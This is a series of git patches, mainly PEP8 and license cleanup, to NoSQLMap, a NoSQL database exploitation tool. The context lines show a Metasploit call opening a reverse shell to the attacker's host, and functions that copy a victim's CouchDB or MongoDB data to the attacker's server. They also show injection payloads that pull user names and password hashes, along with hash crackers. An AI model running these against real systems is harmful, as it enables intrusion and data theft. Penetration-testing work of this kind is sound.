From 4931a2a66686bb576bd797a1607d5f210d929f90 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:20:18 +1000
Subject: [PATCH 01/68] Update gitignore for Visual Studio Python Projects

---
 .gitignore | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.gitignore b/.gitignore
index 5a71fa4..ef06659 100644
--- a/.gitignore
+++ b/.gitignore
@@ -219,3 +219,5 @@ pip-log.txt
 .idea/.name
 
 .idea/NoSQLMap.iml
+*.iml
+*.pyproj

From f619a868e9858138cd723a4ebeeb8adc7058e487 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:20:36 +1000
Subject: [PATCH 02/68] Update to gitignore for VS2015 solutions

---
 .gitignore | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.gitignore b/.gitignore
index ef06659..5f6726b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -221,3 +221,4 @@ pip-log.txt
 .idea/NoSQLMap.iml
 *.iml
 *.pyproj
+*.sln

From e6121146ad44a99b2e036900d759218e24020b90 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:23:43 +1000
Subject: [PATCH 03/68] Update license header information

---
 nosqlmap.py | 16 ++--------------
 nsmcouch.py | 17 ++---------------
 nsmscan.py  | 16 +++-------------
 nsmweb.py   | 15 ++-------------
 4 files changed, 9 insertions(+), 55 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 8460457..acf986c 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -1,18 +1,6 @@
 #!/usr/bin/python
-#NoSQLMap Copyright 2016 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
 
 import sys
 import nsmcouch
diff --git a/nsmcouch.py b/nsmcouch.py
index 2a1df20..4626069 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -1,19 +1,6 @@
 #!/usr/bin/python
-#NoSQLMap Copyright 2016 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
-
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
 
 import couchdb
 import urllib
diff --git a/nsmscan.py b/nsmscan.py
index b287a0b..64b5b33 100644
--- a/nsmscan.py
+++ b/nsmscan.py
@@ -1,17 +1,7 @@
 #!/usr/bin/python
-#NoSQLMap Copyright 2016 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program.  If not, see <http://www.gnu.org/licenses/>.
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
 
 import ipcalc
 import nsmmongo
diff --git a/nsmweb.py b/nsmweb.py
index c619137..57406ac 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -1,17 +1,6 @@
 #!/usr/bin/python
-#NoSQLMap Copyright 2016 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program.  If not, see <http://www.gnu.org/licenses/>.
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
 
 import urllib
 import urllib2

From 06275fbf70553942ed0dbba4e64414764621ed47 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:26:37 +1000
Subject: [PATCH 04/68] Begin PEP8 refactoring nosqlmap.py

---
 nosqlmap.py | 52 ++++++++++++++++++++++++++++------------------------
 1 file changed, 28 insertions(+), 24 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index acf986c..0b6f703 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -11,10 +11,11 @@
 import signal
 import ast
 
+
 def main():
     signal.signal(signal.SIGINT, signal_handler)
     global optionSet
-    #Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
+    # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
     optionSet = [False]*9
     global yes_tag
     global no_tag
@@ -31,7 +32,7 @@ def main():
     global verb
     global scanNeedCreds
     global dbPort
-    #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
+    # Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
     platform = "MongoDB"
     dbPort = 27017
     myIP = "Not Set"
@@ -85,13 +86,13 @@ def mainMenu():
                 elif platform == "CouchDB":
                     nsmcouch.netAttacks(victim, dbPort, myIP)
 
-            #Check minimum required options
+            # Check minimum required options
             else:
                 raw_input("Target not set! Check options.  Press enter to continue...")
 
 
         elif select == "3":
-            #Check minimum required options
+            # Check minimum required options
             if (optionSet[0] == True) and (optionSet[2] == True):
                 if httpMethod == "GET":
                     nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
@@ -119,6 +120,7 @@ def mainMenu():
         else:
             raw_input("Invalid selection.  Press enter to continue.")
 
+
 def platSel():
     global platform
     global dbPort
@@ -142,6 +144,7 @@ def platSel():
         else:
             raw_input("Invalid selection.  Press enter to continue.")
 
+
 def options():
     global victim
     global webPort
@@ -159,7 +162,7 @@ def options():
     requestHeaders = {}
     optSelect = True
 
-    #Set default value if needed
+    # Set default value if needed
     if optionSet[0] == False:
         global victim
         victim = "Not Set"
@@ -207,7 +210,7 @@ def options():
         select = raw_input("Select an option: ")
 
         if select == "1":
-            #Unset the boolean if it's set since we're setting it again.
+            # Unset the boolean if it's set since we're setting it again.
             optionSet[0] = False
             ipLen = False
 
@@ -215,16 +218,16 @@ def options():
                 goodDigits = True
                 notDNS = True
                 victim = raw_input("Enter the host IP/DNS name: ")
-                #make sure we got a valid IP
+                # make sure we got a valid IP
                 octets = victim.split(".")
 
                 if len(octets) != 4:
-                    #Treat this as a DNS name
+                    # Treat this as a DNS name
                     optionSet[0] = True
                     notDNS = False
                 else:
-                    #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
-                    #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+                    # If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
+                    # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
                     for item in octets:
                         try:
                             if int(item) < 0 or int(item) > 255:
@@ -296,19 +299,19 @@ def options():
                     print "Invalid selection"
 
         elif select == "7":
-            #Unset the setting boolean since we're setting it again.
+            # Unset the setting boolean since we're setting it again.
             optionSet[4] = False
 
             while optionSet[4] == False:
                 goodLen = False
                 goodDigits = True
-                #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
-                #For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
-                #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
+                # Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
+                # For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
+                # Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
                 myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
-                #make sure we got a valid IP
+                # make sure we got a valid IP
                 octets = myIP.split(".")
-                #If there aren't 4 octets, toss an error.
+                # If there aren't 4 octets, toss an error.
                 if len(octets) != 4:
                     print "Invalid IP length."
 
@@ -316,19 +319,20 @@ def options():
                     goodLen = True
 
                 if goodLen == True:
-                #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+                # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
                     for item in octets:
                         if int(item) < 0 or int(item) > 255:
                             print "Bad octet in IP address."
                             goodDigits = False
 
-#						else:
-#							goodDigits = True
-                        #Default value of goodDigits should be set to True
-                        #for example 12.12345.12.12
+                        # else:
+                        # goodDigits = True
 
+                        # Default value of goodDigits should be set to True
+                        # for example 12.12345.12.12
 
-                #If everything checks out set the IP and break the loop
+
+                # If everything checks out set the IP and break the loop
                 if goodLen == True and goodDigits == True:
                     print "\nShell/DB listener set to " + myIP + "\n"
                     optionSet[4] = True
@@ -368,7 +372,7 @@ def options():
                 if httpMethod == "POST":
                     postData = ast.literal_eval(csvOpt[1])
 
-                #Set option checking array based on what was loaded
+                # Set option checking array based on what was loaded
                 x = 0
                 for item in optList:
                     if item != "Not Set":
@@ -398,7 +402,7 @@ def options():
                 paramValues = []
                 httpMethod = "POST"
                 postData = reqData[len(reqData)-1]
-                #split the POST parameters up into individual items
+                # split the POST parameters up into individual items
                 paramsNvalues = postData.split("&")
 
                 for item in paramsNvalues:

From ef21b7ebfcb77c69166abd93fbef5929a90296e4 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:27:52 +1000
Subject: [PATCH 05/68] Begin PEP8 refactor nsmcouch

---
 nsmcouch.py | 21 ++++++++++++++++-----
 1 file changed, 16 insertions(+), 5 deletions(-)

diff --git a/nsmcouch.py b/nsmcouch.py
index 4626069..da63bca 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -14,12 +14,14 @@
 from hashlib import sha1
 import os
 
+
 global dbList
 global yes_tag
 global no_tag
 yes_tag = ['y', 'Y']
 no_tag = ['n', 'N']
 
+
 def couchScan(target,port,pingIt):
     if pingIt == True:
         test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
@@ -68,7 +70,7 @@ def netAttacks(target,port, myIP):
     mgtOpen = False
     webOpen = False
     mgtSelect = True
-    #This is a global for future use with other modules; may change
+    # This is a global for future use with other modules; may change
     dbList = []
     print "Checking to see if credentials are needed..."
     needCreds = couchScan(target,port,False)
@@ -104,7 +106,7 @@ def netAttacks(target,port, myIP):
 
 
     mgtUrl = "http://" + target + ":" + str(port) + "/_utils"
-    #Future rev:  Add web management interface parsing
+    # Future rev:  Add web management interface parsing
     try:
         mgtRespCode = urllib.urlopen(mgtUrl).getcode()
         if mgtRespCode == 200:
@@ -142,11 +144,13 @@ def netAttacks(target,port, myIP):
             if attack == "5":
                     return
 
+
 def getPlatInfo(couchConn, target):
     print "Server Info:"
     print "CouchDB Version: " + couchConn.version()
     return
 
+
 def enumAtt(conn,target):
     dbList = []
     print "Enumerating all attachments..."
@@ -208,6 +212,7 @@ def enumDbs (couchConn,target,port):
 
     return
 
+
 def stealDBs (myDB,couchConn,target,port):
     dbLoot = True
     menuItem = 1
@@ -234,7 +239,7 @@ def stealDBs (myDB,couchConn,target,port):
             break
 
     try:
-        #Create the DB target first
+        # Create the DB target first
         myServer = couchdb.Server("http://" + myDB + ":5984")
         targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen")
         couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen")
@@ -251,6 +256,7 @@ def stealDBs (myDB,couchConn,target,port):
         raw_input ("Something went wrong.  Are you sure your CouchDB is running and options are set? Press enter to return...")
         return
 
+
 def passCrack (user, encPass, salt, dbVer):
     select = True
     print "Select password cracking method: "
@@ -273,9 +279,11 @@ def passCrack (user, encPass, salt, dbVer):
                     return
     return
 
+
 def genBrute(chars, maxLen):
     return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
 
+
 def brute_pass(hashVal,salt,dbVer):
     charSel = True
     print "\n"
@@ -313,7 +321,7 @@ def brute_pass(hashVal,salt,dbVer):
         print "\rCombinations tested: " + str(count) + "\r"
         count += 1
 
-        #CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
+        # CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
         if float(dbVer[0:3]) < 1.3:
             gotIt = gen_pass_couch(attempt,salt,hashVal)
         else:
@@ -322,6 +330,7 @@ def brute_pass(hashVal,salt,dbVer):
         if gotIt == True:
                 break
 
+
 def dict_pass(key,salt,dbVer):
     loadCheck = False
 
@@ -341,7 +350,7 @@ def dict_pass(key,salt,dbVer):
     for passGuess in passList:
         temp = passGuess.split("\n")[0]
 
-        #CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
+        # CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
         if float(dbVer[0:3]) < 1.3:
             gotIt = gen_pass_couch(temp,salt,key)
         else:
@@ -352,6 +361,7 @@ def dict_pass(key,salt,dbVer):
 
     return
 
+
 def gen_pass_couch(passw, salt, hashVal):
     if sha1(passw+salt).hexdigest() == hashVal:
         print "Password Cracked - "+passw
@@ -360,6 +370,7 @@ def gen_pass_couch(passw, salt, hashVal):
     else:
         return False
 
+
 def gen_pass_couch13(passw, salt, iterations, hashVal):
 	result=PBKDF2(passw,salt,iterations).read(20)
 	expected=a2b_hex(hashVal)

From 26ad2ed648564dffb8d462d58eca72960056fccc Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:29:23 +1000
Subject: [PATCH 06/68] Begin PEP8 refactor nsmmonogo

---
 nsmmongo.py | 35 +++++++++++++++++++----------------
 1 file changed, 19 insertions(+), 16 deletions(-)

diff --git a/nsmmongo.py b/nsmmongo.py
index 686b018..04a0b20 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -1,17 +1,7 @@
 #!/usr/bin/python
-#NoSQLMap Copyright 2016 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program.  If not, see <http://www.gnu.org/licenses/>.
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
 import pymongo
 import urllib
 import json
@@ -22,18 +12,20 @@
 from hashlib import md5
 import os
 
+
 global yes_tag
 global no_tag
 yes_tag = ['y', 'Y']
 no_tag = ['n', 'N']
 
+
 def netAttacks(target, dbPort, myIP, myPort):
     print "DB Access attacks (MongoDB)"
     print "================="
     mgtOpen = False
     webOpen = False
     mgtSelect = True
-    #This is a global for future use with other modules; may change
+    # This is a global for future use with other modules; may change
     global dbList
     dbList = []
 
@@ -70,7 +62,7 @@ def netAttacks(target, dbPort, myIP, myPort):
 
 
     mgtUrl = "http://" + target + ":28017"
-    #Future rev:  Add web management interface parsing
+    # Future rev:  Add web management interface parsing
 
     try:
         mgtRespCode = urllib.urlopen(mgtUrl).getcode()
@@ -138,6 +130,7 @@ def netAttacks(target, dbPort, myIP, myPort):
             if attack == "6":
                 return
 
+
 def stealDBs(myDB,victim,mongoConn):
     dbList = mongoConn.database_names()
     dbLoot = True
@@ -161,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn):
             break
 
     try:
-        #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
+        # Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
         dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
         myDBConn = pymongo.MongoClient(myDB, 27017)
         if dbNeedCreds in no_tag:
@@ -195,6 +188,7 @@ def stealDBs(myDB,victim,mongoConn):
             raw_input ("Something went wrong.  Are you sure your MongoDB is running and options are set? Press enter to return...")
             return
 
+
 def passCrack (user, encPass):
     select = True
     print "Select password cracking method: "
@@ -217,6 +211,7 @@ def passCrack (user, encPass):
             return
     return
 
+
 def gen_pass(user, passw, hashVal):
     if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal:
         print "Found - " + user + ":" + passw
@@ -224,6 +219,7 @@ def gen_pass(user, passw, hashVal):
     else:
         return False
 
+
 def dict_pass(user,key):
     loadCheck = False
 
@@ -245,9 +241,11 @@ def dict_pass(user,key):
             break
     return
 
+
 def genBrute(chars, maxLen):
     return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
 
+
 def brute_pass(user,key):
     charSel = True
     print "\n"
@@ -287,6 +285,7 @@ def brute_pass(user,key):
             break
     return
 
+
 def getPlatInfo (mongoConn):
     print "Server Info:"
     print "MongoDB Version: " + mongoConn.server_info()['version']
@@ -295,6 +294,7 @@ def getPlatInfo (mongoConn):
     print "\n"
     return
 
+
 def enumDbs (mongoConn):
     try:
         print "List of databases:"
@@ -333,6 +333,7 @@ def enumDbs (mongoConn):
     print "\n"
     return
 
+
 def msfLaunch():
     try:
         proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
@@ -342,6 +343,7 @@ def msfLaunch():
     raw_input("Press enter to continue...")
     return
 
+
 def enumGrid (mongoConn):
     try:
         for dbItem in mongoConn.database_names():
@@ -361,6 +363,7 @@ def enumGrid (mongoConn):
 
     return
 
+
 def mongoScan(ip,port,pingIt):
 
     if pingIt == True:

From 3f6328e64e3a4e07c219ec38c663932f713f7984 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:29:46 +1000
Subject: [PATCH 07/68] Begin PEP8 refactor nsmscan

---
 nsmscan.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/nsmscan.py b/nsmscan.py
index 64b5b33..1360b4f 100644
--- a/nsmscan.py
+++ b/nsmscan.py
@@ -7,6 +7,7 @@
 import nsmmongo
 import nsmcouch
 
+
 def massScan(platform):
     yes_tag = ['y', 'Y']
     no_tag = ['n', 'N']
@@ -83,11 +84,11 @@ def massScan(platform):
 
         elif result[0] == 1:
             print platform + " running but credentials required on " + target.rstrip() + "."
-            creds.append(target.rstrip()) #Future use
+            creds.append(target.rstrip()) # Future use
 
         elif result[0] == 2:
             print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command."
-            commError.append(target.rstrip()) #Future use
+            commError.append(target.rstrip()) # Future use
 
         elif result[0] == 3:
             print "Couldn't connect to " + target.rstrip() + "."

From 66a734fbadb9ab8352561efc344c1d11253114b4 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:32:18 +1000
Subject: [PATCH 08/68] Begin PEP8 refactor NSMWeb

---
 nsmweb.py | 60 ++++++++++++++++++++++++++++++-------------------------
 1 file changed, 33 insertions(+), 27 deletions(-)

diff --git a/nsmweb.py b/nsmweb.py
index 57406ac..3c99ed0 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -2,6 +2,7 @@
 # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
 # See the file 'doc/COPYING' for copying permission
 
+
 import urllib
 import urllib2
 import string
@@ -11,12 +12,13 @@
 import time
 import random
 
-#Fix for dealing with self-signed certificates.  This is wrong and highly discouraged, but it's a hacking tool, so it's fixed with a hack.  Get over it :-)
+# Fix for dealing with self-signed certificates.  This is wrong and highly discouraged, to be revisited in stable branch
 
 if version_info >= (2, 7, 9):
     import ssl
     ssl._create_default_https_context = ssl._create_unverified_context
 
+
 def getApps(webPort,victim,uri,https,verb,requestHeaders):
     print "Web App Attacks (GET)"
     print "==============="
@@ -44,7 +46,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
     global int24
     int24 = False
 
-    #Verify app is working.
+    # Verify app is working.
     print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..."
 
     if https == "OFF":
@@ -83,8 +85,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         injectString = randInjString(int(injectSize))
         print "Using " + injectString + " for injection testing.\n"
 
-        #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
-        #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
+        # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
+        # Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
         if "?" not in appURL:
             print "No URI parameters provided for GET request...Check your options.\n"
             raw_input("Press enter to continue...")
@@ -113,7 +115,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         else:
             print "Test 1: PHP/ExpressJS != associative array injection"
 
-        #Test for errors returned by injection
+        # Test for errors returned by injection
         req = urllib2.Request(uriArray[1], None, requestHeaders)
         errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
 
@@ -162,7 +164,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         else:
             testNum +=1
 
-        #Start a single record attack in case the app expects only one record back
+        # Start a single record attack in case the app expects only one record back
         print "\n"
         if verb == "ON":
             print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
@@ -344,6 +346,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
     raw_input("Press enter to continue...")
     return()
 
+
 def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
     print "Web App Attacks (POST)"
     print "==============="
@@ -366,7 +369,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
     global gtDict
     testNum = 1
 
-    #Verify app is working.
+    # Verify app is working.
     print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
 
     if https == "OFF":
@@ -423,8 +426,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         injectString = randInjString(int(injectSize))
         print "Using " + injectString + " for injection testing.\n"
 
-        #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
-        #Add error handling for Non-200 HTTP response codes if random strings freak out the app.
+        # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
+        # Add error handling for Non-200 HTTP response codes if random strings freak out the app.
         postData.update({injOpt:injectString})
         if verb == "ON":
             print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
@@ -444,7 +447,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Random value variance: " + str(randNormDelta) + "\n"
 
-        #Generate not equals injection
+        # Generate not equals injection
         neDict = postData
         neDict[injOpt + "[$ne]"] = neDict[injOpt]
         del neDict[injOpt]
@@ -467,10 +470,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
             testNum +=1
         print "\n"
 
-        #Delete the extra key
+        # Delete the extra key
         del postData[injOpt + "[$ne]"]
 
-        #generate $gt injection
+        # generate $gt injection
         gtDict = postData
         gtDict.update({injOpt:""})
         gtDict[injOpt + "[$gt]"] = gtDict[injOpt]
@@ -530,7 +533,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
             testNum += 1
         print "\n"
 
-        #Start a single record attack in case the app expects only one record back
+        # Start a single record attack in case the app expects only one record back
         postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
         body = urllib.urlencode(postData)
         req = urllib2.Request(appURL,body, requestHeaders)
@@ -706,6 +709,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
     raw_input("Press enter to continue...")
     return()
 
+
 def errorTest (errorCheck,testNum):
     global possAddrs
     global httpMethod
@@ -811,6 +815,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData):
                 possAddrs.append(str(postData))
         return
 
+
 def randInjString(size):
     print "What format should the random string take?"
     print "1-Alphanumeric"
@@ -959,6 +964,7 @@ def buildUri(origUri, randValue):
 
     return uriArray[0]
 
+
 def getDBInfo():
     curLen = 0
     nameLen = 0
@@ -1028,7 +1034,7 @@ def getDBInfo():
     if getUserInf.lower() == "y":
         charCounter = 0
         nameCounter = 0
-        #find the total number of users on the database
+        # find the total number of users on the database
         while gotUserCnt == False:
             usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
 
@@ -1042,11 +1048,11 @@ def getDBInfo():
             else:
                 usrCount += 1
 
-        usrChars = 0  #total number of characters in username
-        charCounterUsr = 0 #position in the character array-Username
-        rightCharsUsr = 0 #number of correct characters-Username
-        rightCharsHash = 0 #number of correct characters-hash
-        charCounterHash = 0 #position in the character array-hash
+        usrChars = 0  # total number of characters in username
+        charCounterUsr = 0 # position in the character array-Username
+        rightCharsUsr = 0 # number of correct characters-Username
+        rightCharsHash = 0 # number of correct characters-hash
+        charCounterHash = 0 # position in the character array-hash
         username = ""
         pwdHash = ""
         charCountUsr = False
@@ -1055,14 +1061,14 @@ def getDBInfo():
         while retrUsers < usrCount:
             if retrUsers == 0:
                 while charCountUsr == False:
-                    #different query to get the first user vs. others
+                    # different query to get the first user vs. others
                     usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
 
                     req = urllib2.Request(usrUri, None, requestHeaders)
                     lenUri = int(len(urllib2.urlopen(req).read()))
 
                     if lenUri == baseLen:
-                        #Got the right number of characters
+                        # Got the right number of characters
                         charCountUsr = True
 
                     else:
@@ -1085,7 +1091,7 @@ def getDBInfo():
 
                 retrUsers += 1
                 users.append(username)
-                #reinitialize all variables and get ready to do it again
+                # reinitialize all variables and get ready to do it again
                 #print str(retrUsers)
                 #print str(users)
                 charCountUsr = False
@@ -1110,20 +1116,20 @@ def getDBInfo():
 
                 hashes.append(pwdHash)
                 print "Got user:hash " + users[0] + ":" + hashes[0]
-                #reinitialize all variables and get ready to do it again
+                # reinitialize all variables and get ready to do it again
                 charCounterHash = 0
                 rightCharsHash = 0
                 pwdHash = ""
             else:
                 while charCountUsr == False:
-                    #different query to get the first user vs. others
+                    # different query to get the first user vs. others
                     usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
 
                     req = urllib2.Request(usrUri, None, requestHeaders)
                     lenUri = int(len(urllib2.urlopen(req).read()))
 
                     if lenUri == baseLen:
-                        #Got the right number of characters
+                        # Got the right number of characters
                         charCountUsr = True
 
                     else:
@@ -1145,7 +1151,7 @@ def getDBInfo():
                         charCounterUsr += 1
 
                 retrUsers += 1
-                #reinitialize all variables and get ready to do it again
+                # reinitialize all variables and get ready to do it again
 
                 charCountUsr = False
                 rightCharsUsr = 0
@@ -1168,7 +1174,7 @@ def getDBInfo():
                 users.append(username)
                 hashes.append(pwdHash)
                 print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1]
-                #reinitialize all variables and get ready to do it again
+                # reinitialize all variables and get ready to do it again
                 username = ""
                 charCounterHash = 0
                 rightCharsHash = 0

From 1ab466b2d532357742577b4fed0aa671df1a4f5d Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:33:06 +1000
Subject: [PATCH 09/68] Update contact email

---
 setup.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.py b/setup.py
index c0d518b..27de04e 100644
--- a/setup.py
+++ b/setup.py
@@ -19,7 +19,7 @@
 								 "requests==2.5.0"],
 	
 			author = "tcstool",
-			author_email = "nosqlmap@gmail.com",
+			author_email = "codingo@protonmail.com",
 			description = "Automated MongoDB and NoSQL web application exploitation tool",
 			license = "GPLv3",
 			long_description = f.read(),

From f955dc7561e53beb3d2789ff110b0550ca69a889 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 10:44:35 +1000
Subject: [PATCH 10/68] Contact email change

---
 nosqlmap.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 0b6f703..510141f 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -64,7 +64,7 @@ def mainMenu():
         print "\_| \_/\___/\____/  \_/\_\_____/\_|  |_/\__,_| .__/"
         print "===================================================="
         print "NoSQLMap-v0.7"
-        print "nosqlmap@gmail.com"
+        print "codingo@protonmail.com"
         print "\n"
         print "1-Set options"
         print "2-NoSQL DB Access Attacks"

From 0a853736acc24cbadde75714d42112fc1a946c54 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 10:47:52 +1000
Subject: [PATCH 11/68] Delete NoSQLMap-v0.5.iml

---
 .idea/NoSQLMap-v0.5.iml | 11 -----------
